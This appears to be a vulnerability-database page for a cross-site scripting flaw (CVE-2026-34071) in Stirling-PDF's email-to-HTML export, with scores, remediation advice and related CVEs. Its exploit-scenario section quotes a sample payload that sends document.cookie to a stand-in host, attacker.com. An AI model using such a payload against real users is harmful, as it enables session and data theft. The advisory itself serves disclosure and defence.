Skip to main content

Stirling Pdf CVE-2026-34071

| EUVDEUVD-2026-16271 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-26 GitHub_M
5.4
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS v3.1 score of 5.4 (Medium) reflects a network-accessible vector with low attack complexity and no privilege requirements, but limited impact scope (user context only). However, this severity assessment should be contextualized against exploitation signals: a proof-of-concept has been demonstrated (per SSVC data indicating 'Exploitation: poc'), indicating the vulnerability is straightforward to exploit and not hypothetical. The SSVC framework notes the impact is 'partial' (limited to confidentiality and integrity of user session/data) and the attack is 'not automatable' (requires user interaction to export email via the specific feature). The attack vector (AV:N), low complexity (AC:L), and requirement for user interaction (UI:R) align with a stored XSS scenario where the malicious payload must be sent to a target user. Real-world risk is moderate: this affects only users who actively use the email-to-HTML export feature with the downloadHtml flag, a narrower attack surface than general-purpose web applications. The requirement for user action and the local/self-hosted nature of Stirling-PDF (reducing exposure compared to SaaS platforms) suggest this is a meaningful but not critical priority for organizations running Stirling-PDF in production.

Exploit ScenarioDerived

An attacker crafts a malicious email containing JavaScript payloads embedded in HTML tags (e.g., <img src=x onerror="fetch('https://attacker.com/?cookie='+document.cookie)"> or <script>alert('XSS')</script>) and sends it to a Stirling-PDF user. When the user processes this email through the Stirling-PDF interface and requests the 'Download HTML intermediate file' export with downloadHtml=true, the application returns the email body as unsanitized HTML with Content-Type: text/html, causing the user's browser to parse and execute the embedded JavaScript. The attacker's script executes in the context of the user's session, allowing theft of session tokens, CSRF attacks against local services, or exfiltration of sensitive data accessible to the user's browser. Proof-of-concept code demonstrating this attack flow has been published, making exploitation straightforward for technical users.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 26, 2026

Stirling-PDF version 2.7.3 fails to sanitize HTML content from email bodies in the /api/v1/convert/eml/pdf endpoint when the downloadHtml=true parameter is set, allowing unauthenticated remote attackers to inject and execute arbitrary JavaScript code. An attacker can craft a malicious email that, when processed by a Stirling-PDF user through the 'Download HTML intermediate file' feature, executes JavaScript in the user's browser context with access to local data and session tokens. Proof-of-concept code has been demonstrated, and the vendor released version 2.8.0 to address the vulnerability.

RemediationAI

Upgrade Stirling-PDF to version 2.8.0 or later to obtain the patched version. Until upgrade is feasible, restrict access to the /api/v1/convert/eml/pdf endpoint to trusted internal users only, disable or restrict the downloadHtml parameter if possible through application configuration, and avoid processing emails from untrusted sources through the HTML export feature. Implement a reverse proxy with Content-Security-Policy (CSP) headers to block inline script execution and restrict script sources. Network-level controls should limit Stirling-PDF access to authorized users only. See the vendor advisory at https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-xmhg-fv84-jgfc for detailed patch information.

Affected VersionsENISA

Stirling-PDF = 2.7.3

Affected Packages

euvd stirling_pdf no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Stirling-PDF is a locally hosted web application (cpe:2.3:a:stirling-tools:stirling-pdf) that processes PDF and email file formats. The vulnerability exists in the email-to-PDF conversion endpoint (/api/v1/convert/eml/pdf) which accepts HTML content from email message bodies and returns it with Content-Type: text/html without proper HTML sanitization or encoding. The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation, also known as Cross-site Scripting or XSS). When an attacker-controlled email is processed with the downloadHtml parameter enabled, the application streams unsanitized HTML directly to the user's browser, allowing embedded script tags or event handlers within the email body to execute in the security context of the Stirling-PDF domain.

Know when Stirling Pdf gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionGitHub Advisory

Stirling-PDF is a locally hosted web application that allows you to perform various operations on PDF files. In version 2.7.3, the /api/v1/convert/eml/pdf endpoint with parameter downloadHtml=true returns unsanitized HTML from the email body with Content-Type: text/html. An attacker who sends a malicious email to a Stirling-PDF user can achieve JavaScript execution when that user exports the email using the "Download HTML intermediate file" feature. Version 2.8.0 fixes the issue.

Executive ViewAI

Why It Matters

Organizations using Stirling-PDF should be aware of moderate risk from CVE-2026-34071, a cross-site scripting vulnerability rated CVSS 5.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Low
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2025-55161 HIGH POC
8.6 Aug 11

Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Rated high severity (CVS

CVE-2025-55150 HIGH POC
8.6 Aug 11

Stirling-PDF is a locally hosted web application that performs various operations on PDF files. Rated high severity (CVS

CVE-2026-113605 HIGH POC
8.6 Oct 20

Stirling-PDF 2.13.2 through 3.2.0 lets an authenticated administrator regain Java method execution by uploading a crafte

CVE-2025-46568 HIGH POC
7.7 May 01

Stirling-PDF is a locally hosted web application that allows you to perform various operations on PDF files. Rated high

CVE-2026-113606 HIGH POC
7.1 Oct 20

Authenticated users on multi-user Stirling-PDF 3.0.0 through 3.2.0 can reach other tenants' stored documents by creating

CVE-2026-71270 HIGH
8.6 Aug 05

Server-side request forgery in Stirling-PDF's POST /api/v1/convert/url/pdf endpoint allows unauthenticated remote attack

CVE-2026-57485 HIGH
8.5 Aug 17

Privilege escalation in Stirling-PDF before 2.9.0 allows any authenticated ROLE_USER to obtain the privileged STIRLING-P

CVE-2026-33437 HIGH
8.1 Aug 17

Stored cross-site scripting in Stirling-PDF prior to version 2.0.0 allows an attacker to embed JavaScript payloads insid

CVE-2026-27625 HIGH
8.1 Mar 20

Stirling-PDF, a locally hosted web application for PDF operations, contains a path traversal vulnerability in the /api/v

CVE-2026-119343 MEDIUM
6.8 Oct 30

Stirling-PDF before 3.0.0 lets remote attackers turn its AI PDF tool into a server-side request forgery and local file d

CVE-2026-33438 MEDIUM
6.5 Mar 26

Stirling-PDF versions 2.1.5 through 2.5.1 are vulnerable to resource exhaustion denial of service through the watermark

CVE-2024-9075 LOW POC
2.3 Sep 21

A vulnerability was found in Stirling-Tools Stirling-PDF up to 0.28.3. Rated low severity (CVSS 2.3), this vulnerability

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy